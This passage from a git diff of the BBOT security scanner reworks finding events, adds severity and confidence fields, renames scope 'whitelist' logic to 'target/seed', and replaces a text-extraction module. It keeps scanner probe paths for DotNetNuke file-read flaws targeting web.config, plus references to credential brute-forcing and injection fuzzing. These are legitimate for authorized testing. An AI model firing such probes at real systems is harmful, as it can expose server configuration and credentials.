Field(sa_column=Column("seed_hash", String(length=255), index=True)) + target_hash: str = Field(sa_column=Column("target_hash", String(length=255), index=True)) blacklist_hash: str = Field(sa_column=Column("blacklist_hash", String(length=255), index=True)) diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index 1df424ebcc..284741b5d9 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -10,7 +10,7 @@ class ajaxpro(BaseModule): ajaxpro_regex = re.compile(r' 1: @@ -780,18 +783,29 @@ async def _worker(self): self.debug(f"Finished handling {event}") else: self.debug(f"Not accepting {event} because {reason}") - except asyncio.CancelledError: - # this trace was used for debugging leaked CancelledErrors from inside httpx - # self.log.trace("Worker cancelled") - raise - except BaseException as e: - if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): - self.scan.stop() - else: - self.error(f"Critical failure in module {self.name}: {e}") - self.error(traceback.format_exc()) + except asyncio.CancelledError: + # this trace was used for debugging leaked CancelledErrors from inside httpx + # self.log.trace("Worker cancelled") + raise + except RuntimeError as e: + self.trace(f"RuntimeError in module {self.name}: {e}") + except BaseException as e: + if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): + await self.scan.async_stop() + else: + self.error(f"Critical failure in module {self.name}: {e}") + self.error(traceback.format_exc()) self.log.trace("Worker stopped") + @property + def accept_seeds(self): + """ + Returns whether the module accepts seed events. + Defaults to True for passive modules, False otherwise. + """ + # Default to True for passive modules, False otherwise + return "passive" in self.flags + @property def max_scope_distance(self): """ @@ -838,11 +852,15 @@ def _event_precheck(self, event): if self.errored: return False, "module is in error state" # exclude non-watched types - if not any(t in self.get_watched_events() for t in ("*", event.type)): + watched_events = self.get_watched_events() + event_type_watched = any(t in watched_events for t in ("*", event.type)) + # Check if module accepts seeds and event is a seed (only if event type is watched) + if self.accept_seeds and "seed" in event.tags and event_type_watched: + return True, "it is a seed event and module accepts seeds" + if not event_type_watched: return False, "its type is not in watched_events" - if self.target_only: - if "target" not in event.tags: - return False, "it did not meet target_only filter criteria" + if self.target_only and "target" not in event.tags: + return False, "it did not meet target_only filter criteria" # limit js URLs to modules that opt in to receive them if (not self.accept_url_special) and event.type.startswith("URL"): @@ -917,6 +935,9 @@ async def _event_postcheck_inner(self, event): return True, "" def _scope_distance_check(self, event): + # Seeds bypass scope distance checks + if self.accept_seeds and "seed" in event.tags: + return True, "it is a seed event and module accepts seeds" if self.in_scope_only: if event.scope_distance > 0: return False, "it did not meet in_scope_only filter criteria" @@ -1803,8 +1824,8 @@ class BaseInterceptModule(BaseModule): _intercept = True async def _worker(self): - async with self.scan._acatch(context=self._worker, unhandled_is_critical=True): - try: + try: + async with self.scan._acatch(context=self._worker, unhandled_is_critical=True): while not self.scan.stopping and not self.errored: try: if self.incoming_event_queue is not False: @@ -1863,16 +1884,19 @@ async def _worker(self): self.debug(f"Forwarding {event}") await self.forward_event(event, kwargs) - except asyncio.CancelledError: - # this trace was used for debugging leaked CancelledErrors from inside httpx - # self.log.trace("Worker cancelled") - raise - except BaseException as e: - if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): - self.scan.stop() - else: - self.critical(f"Critical failure in intercept module {self.name}: {e}") - self.critical(traceback.format_exc()) + except asyncio.CancelledError: + # this trace was used for debugging leaked CancelledErrors from inside httpx + # self.log.trace("Worker cancelled") + raise + except RuntimeError as e: + self.trace(f"RuntimeError in intercept module {self.name}: {e}") + except BaseException as e: + if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): + await self.scan.async_stop() + else: + self.critical(f"Critical failure in intercept module {self.name}: {e}") + self.critical(traceback.format_exc()) + self.log.trace("Worker stopped") async def get_incoming_event(self): diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py index 3539bd19a8..9c7239baaa 100644 --- a/bbot/modules/bypass403.py +++ b/bbot/modules/bypass403.py @@ -139,9 +139,12 @@ async def handle_event(self, event): if len(results) > collapse_threshold: await self.emit_event( { + "name": "Possible 403 Bypass", "description": f"403 Bypass MULTIPLE SIGNATURES (exceeded threshold {str(collapse_threshold)})", "host": str(event.host), "url": event.data, + "severity": "INFORMATIONAL", + "confidence": "LOW", }, "FINDING", parent=event, @@ -150,7 +153,14 @@ async def handle_event(self, event): else: for description in results: await self.emit_event( - {"description": description, "host": str(event.host), "url": event.data}, + { + "name": "Possible 403 Bypass", + "description": description, + "host": str(event.host), + "url": event.data, + "severity": "MEDIUM", + "confidence": "LOW", + }, "FINDING", parent=event, context=f"{{module}} discovered potential 403 bypass ({{event.type}}) for {event.data}", diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index fa82dc33c7..2ec94e4507 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -165,13 +165,13 @@ async def _emit_host(self, host, event, seen, source): # Validate and emit as DNS_NAME try: validated = self.helpers.validators.validate_host(host) + if validated and validated not in seen: + seen.add(validated) + await self.emit_event( + validated, + "DNS_NAME", + parent=event, + context=f"{{module}} found {{event.data}} in {source} of {{event.parent.data}}", + ) except ValueError as e: self.debug(f"Error validating host {host} in {source}: {e}") - if validated and validated not in seen: - seen.add(validated) - await self.emit_event( - validated, - "DNS_NAME", - parent=event, - context=f"{{module}} found {{event.data}} in {source} of {{event.parent.data}}", - ) diff --git a/bbot/modules/deadly/legba.py b/bbot/modules/deadly/legba.py index 2c62a77032..9be33af78d 100644 --- a/bbot/modules/deadly/legba.py +++ b/bbot/modules/deadly/legba.py @@ -133,6 +133,7 @@ async def parse_output(self, output_filepath, event): "confidence": "CONFIRMED", "host": str(event.host), "port": str(event.port), + "name": f"Legba - {protocol.upper()} Credentials", "description": f"Valid {protocol} credentials found - {message_addition}", }, "FINDING", diff --git a/bbot/modules/dotnetnuke.py b/bbot/modules/dotnetnuke.py index 7e8b4d3d4e..07ac7f425c 100644 --- a/bbot/modules/dotnetnuke.py +++ b/bbot/modules/dotnetnuke.py @@ -18,7 +18,7 @@ class dotnetnuke(BaseModule): } watched_events = ["HTTP_RESPONSE"] - produced_events = ["VULNERABILITY", "TECHNOLOGY"] + produced_events = ["FINDING", "TECHNOLOGY"] flags = ["active", "aggressive", "web-thorough"] meta = { "description": "Scan for critical DotNetNuke (DNN) vulnerabilities", @@ -52,11 +52,14 @@ async def interactsh_callback(self, r): await self.emit_event( { "severity": "MEDIUM", + "confidence": "HIGH", "host": str(event.host), "url": url, "description": description, + "cves": ["CVE-2017-0929"], + "name": "DotNetNuke Blind-SSRF", }, - "VULNERABILITY", + "FINDING", event, context=f"{{module}} scanned {url} and found medium {{event.type}}: {description}", ) @@ -103,11 +106,13 @@ async def handle_event(self, event): await self.emit_event( { "severity": "CRITICAL", + "confidence": "CONFIRMED", "description": description, "host": str(event.host), "url": probe_url, + "name": "DotNetNuke Cookie Deserialization", }, - "VULNERABILITY", + "FINDING", event, context=f"{{module}} scanned {probe_url} and found critical {{event.type}}: {description}", ) @@ -123,11 +128,13 @@ async def handle_event(self, event): await self.emit_event( { "severity": "CRITICAL", + "confidence": "CONFIRMED", "description": description, + "name": "DotNetNuke Arbitrary File Read", "host": str(event.host), "url": f"{event.data['url']}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx", }, - "VULNERABILITY", + "FINDING", event, context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}", ) @@ -142,11 +149,13 @@ async def handle_event(self, event): await self.emit_event( { "severity": "CRITICAL", + "confidence": "CONFIRMED", "description": description, + "name": "DotNetNuke Arbitrary File Read", "host": str(event.host), "url": f"{event.data['url']}/Desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config", }, - "VULNERABILITY", + "FINDING", event, context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}", ) @@ -163,11 +172,13 @@ async def handle_event(self, event): await self.emit_event( { "severity": "CRITICAL", + "confidence": "CONFIRMED", "description": description, + "name": "DotNetNuke Privilege Escalation", "host": str(event.host), "url": f"{event.data['url']}/Install/InstallWizard.aspx", }, - "VULNERABILITY", + "FINDING", event, context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}", ) diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index 3eb3202f9f..9a04b98255 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -153,7 +153,7 @@ async def test(self, event): class generic_ssrf(BaseModule): watched_events = ["URL"] - produced_events = ["VULNERABILITY"] + produced_events = ["FINDING"] flags = ["active", "aggressive", "web-thorough"] meta = {"description": "Check for generic SSRFs", "created_date": "2022-07-30", "author": "@liquidsec"} options = { @@ -164,8 +164,6 @@ class generic_ssrf(BaseModule): } in_scope_only = True - deps_apt = ["curl"] - async def setup(self): self.submodules = {} self.interactsh_subdomain_tags = {} @@ -225,18 +223,18 @@ async def interactsh_callback(self, r): self.debug(f"Emitting event with description: {description}") # Debug the final description - event_type = "VULNERABILITY" if protocol == "HTTP" else "FINDING" event_data = { "host": str(matched_event.host), "url": matched_event.data, + "name": matched_technique, "description": description, + "severity": matched_severity if protocol == "HTTP" else "LOW", + "confidence": "CONFIRMED" if protocol == "HTTP" else "MODERATE", } - if protocol == "HTTP": - event_data["severity"] = matched_severity await self.emit_event( event_data, - event_type, + "FINDING", matched_event, context=f"{{module}} scanned {matched_event.data} and detected {{event.type}}: {matched_technique}", ) diff --git a/bbot/modules/git.py b/bbot/modules/git.py index 569aa0e489..2d53d7d29e 100644 --- a/bbot/modules/git.py +++ b/bbot/modules/git.py @@ -32,7 +32,14 @@ async def handle_event(self, event): if getattr(response, "status_code", 0) == 200 and "[core]" in text and not self.fp_regex.match(text): description = f"Exposed .git config at {url}" await self.emit_event( - {"host": str(event.host), "url": url, "description": description}, + { + "host": str(event.host), + "url": url, + "description": description, + "name": "Exposed .git config", + "severity": "MEDIUM", + "confidence": "HIGH", + }, "FINDING", event, context="{module} detected {event.type}: {description}", diff --git a/bbot/modules/github_org.py b/bbot/modules/github_org.py index 46b8b1935a..ff7cba4d42 100644 --- a/bbot/modules/github_org.py +++ b/bbot/modules/github_org.py @@ -90,7 +90,7 @@ async def handle_event(self, event): user = event.data self.verbose(f"Validating whether the organization {user} is within our scope...") is_org, in_scope = await self.validate_org(user) - if "target" in event.tags: + if "seed" in event.tags: in_scope = True if not is_org or not in_scope: self.verbose(f"Unable to validate that {user} is in-scope, skipping...") diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py index a820bfb6f3..df9b84fd4f 100644 --- a/bbot/modules/graphql_introspection.py +++ b/bbot/modules/graphql_introspection.py @@ -135,8 +135,16 @@ async def handle_event(self, event): filename = self.output_dir / filename with open(filename, "w") as f: json.dump(response_json, f) + relative_path = str(filename.relative_to(self.scan.home)) await self.emit_event( - {"url": url, "description": "GraphQL schema", "path": str(filename.relative_to(self.scan.home))}, + { + "name": "GraphQL Schema", + "url": url, + "description": f"GraphQL Schema at {url}", + "path": relative_path, + "severity": "INFORMATIONAL", + "confidence": "CONFIRMED", + }, "FINDING", event, context=f"{{module}} found GraphQL schema at {url}", diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index 2dd77b2a09..732b5b5863 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -43,13 +43,16 @@ async def interactsh_callback(self, r): return matched_event = match[0] matched_technique = match[1] - protocol = r.get("protocol").upper() + confidence = "HIGH" if protocol == "HTTP" else "MODERATE" await self.emit_event( { "host": str(matched_event.host), "url": matched_event.data["url"], + "name": "Host Header Spoofing", "description": f"Spoofed Host header ({matched_technique}) [{protocol}] interaction", + "severity": "MEDIUM", + "confidence": confidence, }, "FINDING", matched_event, @@ -141,6 +144,9 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": description, + "name": "Duplicate Host Header Tolerated", + "severity": "INFORMATIONAL", + "confidence": "LOW", }, "FINDING", event, @@ -183,6 +189,9 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": description, + "name": "Possible Host Header Injection", + "severity": "INFORMATIONAL", + "confidence": "LOW", }, "FINDING", event, diff --git a/bbot/modules/hunt.py b/bbot/modules/hunt.py index 57e064d4bf..3b6c4239cc 100644 --- a/bbot/modules/hunt.py +++ b/bbot/modules/hunt.py @@ -312,7 +312,13 @@ async def handle_event(self, event): f" Original Value: [{self.helpers.truncate_string(str(event.data['original_value']), 200)}]" ) - data = {"host": str(event.host), "description": description} + data = { + "host": str(event.host), + "description": description, + "name": "Potentially Interesting Parameter", + "severity": "INFORMATIONAL", + "confidence": "LOW", + } url = event.data.get("url", "") if url: data["url"] = url diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 01de9151f7..5c53217bd6 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -232,8 +232,15 @@ class safety_counter_obj: description = f"IIS Shortname Vulnerability Detected. Potentially Vulnerable Method/Techniques: [{','.join(technique_strings)}]" await self.emit_event( - {"severity": "LOW", "host": str(event.host), "url": normalized_url, "description": description}, - "VULNERABILITY", + { + "name": "IIS Shortnames", + "severity": "LOW", + "confidence": "HIGH", + "host": str(event.host), + "url": normalized_url, + "description": description, + }, + "FINDING", event, context="{module} detected low {event.type}: IIS shortname enumeration", ) @@ -335,9 +342,12 @@ class safety_counter_obj: if url_hint.lower().endswith(".zip"): await self.emit_event( { + "name": "Possible backup file (zip) in web root", "host": str(event.host), "url": event.data, "description": f"Possible backup file (zip) in web root: {normalized_url}{url_hint}", + "confidence": "MODERATE", + "severity": "MEDIUM", }, "FINDING", event, diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 3dddd289a4..0176b41784 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -59,15 +59,15 @@ async def handle_event(self, event, **kwargs): non_minimal_rdtypes = self.non_minimal_rdtypes # first, we find or create the main DNS_NAME or IP_ADDRESS associated with this event - main_host_event, whitelisted, blacklisted, new_event = self.get_dns_parent(event) + main_host_event, in_target, blacklisted, new_event = self.get_dns_parent(event) original_tags = set(event.tags) # minimal resolution - first, we resolve A/AAAA records for scope purposes if new_event or event is main_host_event: await self.resolve_event(main_host_event, types=minimal_rdtypes) - # are any of its IPs whitelisted/blacklisted? - whitelisted, blacklisted = self.check_scope(main_host_event) - if whitelisted and event.scope_distance > 0: + # are any of its IPs in target scope or blacklisted? + in_target, blacklisted = self.check_scope(main_host_event) + if in_target and main_host_event.scope_distance > 0: self.debug(f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)") main_host_event.scope_distance = 0 @@ -99,9 +99,13 @@ async def handle_event(self, event, **kwargs): ) # if there weren't any DNS children and it's not an IP address, tag as unresolved + # Exception: don't convert seed events to DNS_NAME_UNRESOLVED so accept_seeds modules can process them if not main_host_event.raw_dns_records and not event_is_ip: - main_host_event.add_tag("unresolved") - main_host_event.type = "DNS_NAME_UNRESOLVED" + if "seed" not in main_host_event.tags: + main_host_event.add_tag("unresolved") + main_host_event.type = "DNS_NAME_UNRESOLVED" + # avoid emitting DNS_NAME_UNRESOLVED affiliates + main_host_event.always_emit_tags = [] # main_host_event.add_tag(f"resolve-distance-{main_host_event.dns_resolve_distance}") @@ -150,7 +154,7 @@ async def handle_wildcard_event(self, event): event.add_tag(f"{rdtype}-{wildcard_tag}") # wildcard event modification (www.evilcorp.com --> _wildcard.evilcorp.com) - if wildcard_rdtypes and "target" not in event.tags: + if wildcard_rdtypes and "seed" not in event.tags: # these are the rdtypes that have wildcards wildcard_rdtypes_set = set(wildcard_rdtypes) # consider the event a full wildcard if all its records are wildcards @@ -219,7 +223,7 @@ async def emit_dns_children_raw(self, event, dns_tags): ) def check_scope(self, event): - whitelisted = False + in_target = False blacklisted = False dns_children = getattr(event, "dns_children", {}) for rdtype in ("A", "AAAA", "CNAME"): @@ -229,11 +233,11 @@ def check_scope(self, event): for host in hosts: # having a CNAME to an in-scope host doesn't make you in-scope if rdtype != "CNAME": - if not whitelisted: + if not in_target: with suppress(ValidationError): - if self.scan.whitelisted(host): - whitelisted = True - event.add_tag(f"dns-whitelisted-{rdtype}") + if self.scan.in_target(host): + in_target = True + event.add_tag(f"dns-in-target-{rdtype}") # but a CNAME to a blacklisted host means you're blacklisted if not blacklisted: with suppress(ValidationError): @@ -242,8 +246,8 @@ def check_scope(self, event): event.add_tag("blacklisted") event.add_tag(f"dns-blacklisted-{rdtype}") if blacklisted: - whitelisted = False - return whitelisted, blacklisted + in_target = False + return in_target, blacklisted async def resolve_event(self, event, types): if not types: @@ -287,16 +291,22 @@ async def resolve_event(self, event, types): def get_dns_parent(self, event): """ Get the first parent DNS_NAME / IP_ADDRESS of an event. If one isn't found, create it. + + Returns a 4-tuple of: + - the parent event + - whether the parent is in target + - whether the parent is blacklisted + - whether the parent is a new event, i.e. it is newly created or is the current event """ for parent in event.get_parents(include_self=True): if parent.host == event.host and parent.type in ("IP_ADDRESS", "DNS_NAME", "DNS_NAME_UNRESOLVED"): blacklisted = any(t.startswith("dns-blacklisted-") for t in parent.tags) - whitelisted = any(t.startswith("dns-whitelisted-") for t in parent.tags) + in_target = any(t.startswith("dns-in-target-") for t in parent.tags) new_event = parent is event - return parent, whitelisted, blacklisted, new_event + return parent, in_target, blacklisted, new_event tags = set() - if "target" in event.tags: - tags.add("target") + if "seed" in event.tags: + tags.add("seed") return ( self.scan.make_event( event.host, diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index f5c75a5c9b..61421d4727 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -105,10 +105,12 @@ def extract_params_location(location_header_value, original_parsed_url): class YaraRuleSettings: - def __init__(self, description, tags, emit_match): + def __init__(self, description, tags, emit_match, severity, confidence): self.description = description self.tags = tags self.emit_match = emit_match + self.severity = severity + self.confidence = confidence class ExcavateRule: @@ -153,6 +155,8 @@ async def preprocess(self, r, event, discovery_context): description = "" tags = [] emit_match = False + severity = "INFORMATIONAL" + confidence = "UNKNOWN" if "description" in r.meta.keys(): description = r.meta["description"] @@ -160,8 +164,12 @@ async def preprocess(self, r, event, discovery_context): tags = self.excavate.helpers.chain_lists(r.meta["tags"]) if "emit_match" in r.meta.keys(): emit_match = True + if "severity" in r.meta.keys(): + severity = r.meta["severity"] + if "confidence" in r.meta.keys(): + confidence = r.meta["confidence"] - yara_rule_settings = YaraRuleSettings(description, tags, emit_match) + yara_rule_settings = YaraRuleSettings(description, tags, emit_match, severity, confidence) yara_results = {} for h in r.strings: yara_results[h.identifier.lstrip("$")] = sorted( @@ -185,7 +193,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte event : Event The event data associated with the YARA match. yara_rule_settings : YaraRuleSettings - The settings configured from YARA rule meta tags, including description, tags, and emit_match flag. + The settings configured from YARA rule meta tags, including description, severity, confidence, tags, and emit_match flag. discovery_context : DiscoveryContext The context in which the discovery is made. @@ -194,7 +202,10 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte """ for results in yara_results.values(): for result in results: - event_data = {"description": f"{discovery_context} {yara_rule_settings.description}"} + event_data = { + "name": f"{discovery_context} {yara_rule_settings.description}", + "description": f"{discovery_context} {yara_rule_settings.description}", + } if yara_rule_settings.emit_match: event_data["description"] += f" [{result}]" await self.report(event_data, event, yara_rule_settings, discovery_context) @@ -245,7 +256,7 @@ async def report( event : Event The parent event to which this event is related. yara_rule_settings : YaraRuleSettings - The settings configured from YARA rule meta tags, including description and tags. + The settings configured from YARA rule meta tags, including description, severity, confidence, and tags. discovery_context : DiscoveryContext The context in which the discovery is made. event_type : str, optional @@ -258,10 +269,16 @@ async def report( Returns: None """ - # If a description is not set and is needed, provide a basic one - if event_type == "FINDING" and "description" not in event_data.keys(): - event_data["description"] = f"{discovery_context} {yara_rule_settings['self.description']}" + if event_type == "FINDING": + if "description" not in event_data.keys(): + event_data["description"] = f"{discovery_context} {yara_rule_settings.description}" + if "name" not in event_data.keys(): + event_data["name"] = f"{discovery_context} {yara_rule_settings.description}" + if "severity" not in event_data.keys(): + event_data["severity"] = yara_rule_settings.severity + if "confidence" not in event_data.keys(): + event_data["confidence"] = yara_rule_settings.confidence subject = "" if isinstance(event_data, str): subject = f" {event_data}" @@ -281,7 +298,9 @@ def __init__(self, excavate): async def process(self, yara_results, event, yara_rule_settings, discovery_context): for identifier, results in yara_results.items(): for result in results: - event_data = {} + event_data = { + "name": f"Custom Yara Rule [{self.name}]", + } description_string = ( f" with description: [{yara_rule_settings.description}]" if yara_rule_settings.description else "" ) @@ -290,6 +309,9 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte ) if yara_rule_settings.emit_match: event_data["description"] += f" and extracted [{result}]" + event_data["severity"] = yara_rule_settings.get("severity", "LOW") + event_data["confidence"] = yara_rule_settings.get("confidence", "UNKNOWN") + await self.report(event_data, event, yara_rule_settings, discovery_context) @@ -712,14 +734,15 @@ def __init__(self, excavate): signature_component_list.append(rf"${signature_name} = {signature}") signature_component = " ".join(signature_component_list) self.yara_rules["error_detection"] = ( - f'rule error_detection {{meta: description = "contains a verbose error message" strings: {signature_component} condition: any of them}}' + f'rule error_detection {{meta: description = "contains a verbose error message" severity = "INFORMATIONAL" confidence = "MODERATE" strings: {signature_component} condition: any of them}}' ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): for identifier in yara_results.keys(): for findings in yara_results[identifier]: event_data = { - "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})" + "name": "Possible Verbose Error Message", + "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})", } await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING") @@ -743,14 +766,15 @@ def __init__(self, excavate): regexes_component_list.append(rf"${regex_name} = /\b{regex.pattern}/") regexes_component = " ".join(regexes_component_list) self.yara_rules["serialization_detection"] = ( - f'rule serialization_detection {{meta: description = "contains a possible serialized object" strings: {regexes_component} condition: any of them}}' + f'rule serialization_detection {{meta: description = "contains a possible serialized object" severity = "INFORMATIONAL" confidence = "MODERATE" strings: {regexes_component} condition: any of them}}' ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): for identifier in yara_results.keys(): for findings in yara_results[identifier]: event_data = { - "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})" + "name": "Possible Serialized Object", + "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})", } await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING") @@ -796,7 +820,11 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte def abort_if(e): return e.scope_distance > 0 - finding_data = {"host": str(host), "description": f"Non-HTTP URI: {parsed_url.geturl()}"} + finding_data = { + "host": str(host), + "name": "Non-HTTP URI", + "description": f"Non-HTTP URI: {parsed_url.geturl()}", + } await self.report(finding_data, event, yara_rule_settings, discovery_context, abort_if=abort_if) protocol_data = {"protocol": parsed_url.scheme, "host": str(host)} if port: @@ -1135,8 +1163,8 @@ async def handle_event(self, event, **kwargs): await self.emit_custom_parameters(event, "http_cookies", "COOKIE", "Custom Cookie") await self.emit_custom_parameters(event, "http_headers", "HEADER", "Custom Header") - # if parameter extraction is enabled, and querystring removal is disabled, and the event is directly from the TARGET, create a WEB - if self.url_querystring_remove is False and str(event.parent.parent.module) == "TARGET": + # if parameter extraction is enabled, and querystring removal is disabled, and the event is directly from the SEED, create a WEB + if self.url_querystring_remove is False and str(event.parent.parent.module) == "SEED": self.debug(f"Processing target URL [{urlunparse(event.parsed_url)}] for GET parameters") for ( method, @@ -1243,7 +1271,7 @@ async def handle_event(self, event, **kwargs): content_type = headers["content-type"][0] # skip PDF responses -- running YARA/regex on raw PDF bytes produces false positives and wastes time. - # PDFs are still processed correctly via the filedownload → extractous → RAW_TEXT pipeline, + # PDFs are still processed correctly via the filedownload → kreuzberg → RAW_TEXT pipeline, # which extracts readable text and feeds it back to excavate as a RAW_TEXT event (handled separately below). # TODO: remove this in favor of a proper categorization system for text vs non-text (i.e. to-be-extracted) content if content_type and "application/pdf" in content_type.lower(): diff --git a/bbot/modules/extractous.py b/bbot/modules/kreuzberg.py similarity index 73% rename from bbot/modules/extractous.py rename to bbot/modules/kreuzberg.py index c37be08008..2b04176d11 100644 --- a/bbot/modules/extractous.py +++ b/bbot/modules/kreuzberg.py @@ -1,9 +1,10 @@ -from extractous import Extractor +import pypdfium2 +from kreuzberg import extract_file from bbot.modules.base import BaseModule -class extractous(BaseModule): +class kreuzberg(BaseModule): watched_events = ["FILESYSTEM"] produced_events = ["RAW_TEXT"] flags = ["passive", "safe"] @@ -65,7 +66,7 @@ class extractous(BaseModule): "extensions": "File extensions to parse", } - deps_pip = ["extractous~=0.3.0"] + deps_pip = ["kreuzberg~=4.3", "pypdfium2~=5.0"] scope_distance_modifier = 1 async def setup(self): @@ -82,11 +83,17 @@ async def filter_event(self, event): async def handle_event(self, event): file_path = event.data["path"] - content = await self.scan.helpers.run_in_executor_mp(extract_text, file_path) - if isinstance(content, tuple): - error, traceback = content - self.error(f"Error extracting text from {file_path}: {error}") - self.trace(traceback) + try: + if file_path.lower().endswith(".pdf"): + content = await self.helpers.run_in_executor_mp(self.extract_pdf, file_path) + else: + result = await extract_file(file_path) + content = result.content.strip() + except Exception as e: + import traceback + + self.error(f"Error extracting text from {file_path}: {e}") + self.trace(traceback.format_exc()) return if content: @@ -98,27 +105,22 @@ async def handle_event(self, event): ) await self.emit_event(raw_text_event) + @staticmethod + def extract_pdf(file_path): + """Extract text from PDF using pypdfium2 directly instead of kreuzberg. -def extract_text(file_path): - """ - extract_text Extracts plaintext from a document path using extractous. - - :param file_path: The path of the file to extract text from. - :return: ASCII-encoded plaintext extracted from the document. - """ - - try: - extractor = Extractor() - reader, metadata = extractor.extract_file(str(file_path)) - - result = "" - buffer = reader.read(4096) - while len(buffer) > 0: - result += buffer.decode("utf-8", errors="ignore") - buffer = reader.read(4096) - - return result.strip() - except Exception as e: - import traceback - - return (str(e), traceback.format_exc()) + kreuzberg's bundled pdfium extracts text spatially via get_text_bounded(), which + clips long unbroken strings (JWTs, base64, URLs) that extend beyond the page width. + pypdfium2's get_text_range() extracts by character index, returning complete text + regardless of spatial position. + """ + document = pypdfium2.PdfDocument(file_path) + try: + pages = [] + for page in document: + textpage = page.get_textpage() + text = textpage.get_text_range() + pages.append(text) + return " ".join("\n".join(pages).strip().split()) + finally: + document.close() diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 6d114b827b..d6e684f42a 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -6,7 +6,7 @@ class lightfuzz(BaseModule): watched_events = ["URL", "WEB_PARAMETER"] - produced_events = ["FINDING", "VULNERABILITY"] + produced_events = ["FINDING"] flags = ["active", "aggressive", "web-thorough", "deadly"] options = { @@ -84,11 +84,13 @@ async def interactsh_callback(self, r): await self.emit_event( { "severity": "CRITICAL", + "confidence": "CONFIRMED", "host": str(details["event"].host), "url": details["event"].data["url"], + "name": "Lightfuzz - OS Command Injection", "description": f"OS Command Injection (OOB Interaction) Type: [{details['type']}] Parameter Name: [{details['name']}] Probe: [{details['probe']}]", }, - "VULNERABILITY", + "FINDING", details["event"], ) else: @@ -112,7 +114,12 @@ async def run_submodule(self, submodule, event): await submodule_instance.fuzz() if len(submodule_instance.results) > 0: for r in submodule_instance.results: - event_data = {"host": str(event.host), "url": event.data["url"], "description": r["description"]} + event_data = { + "host": str(event.host), + "url": event.data["url"], + "name": r["name"], + "description": r["description"], + } envelopes = getattr(event, "envelopes", None) envelope_summary = getattr(envelopes, "summary", None) @@ -120,11 +127,12 @@ async def run_submodule(self, submodule, event): # Append the envelope summary to the description event_data["description"] += f" Envelopes: [{envelope_summary}]" - if r["type"] == "VULNERABILITY": - event_data["severity"] = r["severity"] + event_data["severity"] = r["severity"] + event_data["confidence"] = r["confidence"] + event_data["name"] = f"Lightfuzz - {r['name']}" await self.emit_event( event_data, - r["type"], + "FINDING", event, ) diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 11576f1dc5..c253d24323 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -74,7 +74,9 @@ async def fuzz(self): if len(positive_detections) > 0: self.results.append( { - "type": "FINDING", + "name": "Possible Command Injection", + "severity": "CRITICAL", + "confidence": "MODERATE", "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [echo canary] CMD Probe Delimeters: [{' '.join(positive_detections)}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 6c3e060640..2a8d4cea31 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -303,8 +303,9 @@ async def padding_oracle(self, probe_value, cookies): context = f"Lightfuzz Cryptographic Probe Submodule detected a probable padding oracle vulnerability after manipulating parameter: [{self.event.data['name']}]" self.results.append( { - "type": "VULNERABILITY", "severity": "HIGH", + "name": "Padding Oracle Vulnerability", + "confidence": "HIGH", "description": f"Padding Oracle Vulnerability. Block size: [{str(block_size)}] {self.metadata()}", "context": context, } @@ -338,7 +339,9 @@ async def error_string_search(self, text_dict, baseline_text): if unique_matches: self.results.append( { - "type": "FINDING", + "name": "Possible Cryptographic Error", + "severity": "INFORMATIONAL", + "confidence": "LOW", "description": f"Possible Cryptographic Error. {self.metadata()} Strings: [{','.join(unique_matches)}] Detection Technique(s): [{','.join(matching_techniques)}]", "context": context, } @@ -432,7 +435,9 @@ async def fuzz(self): context = 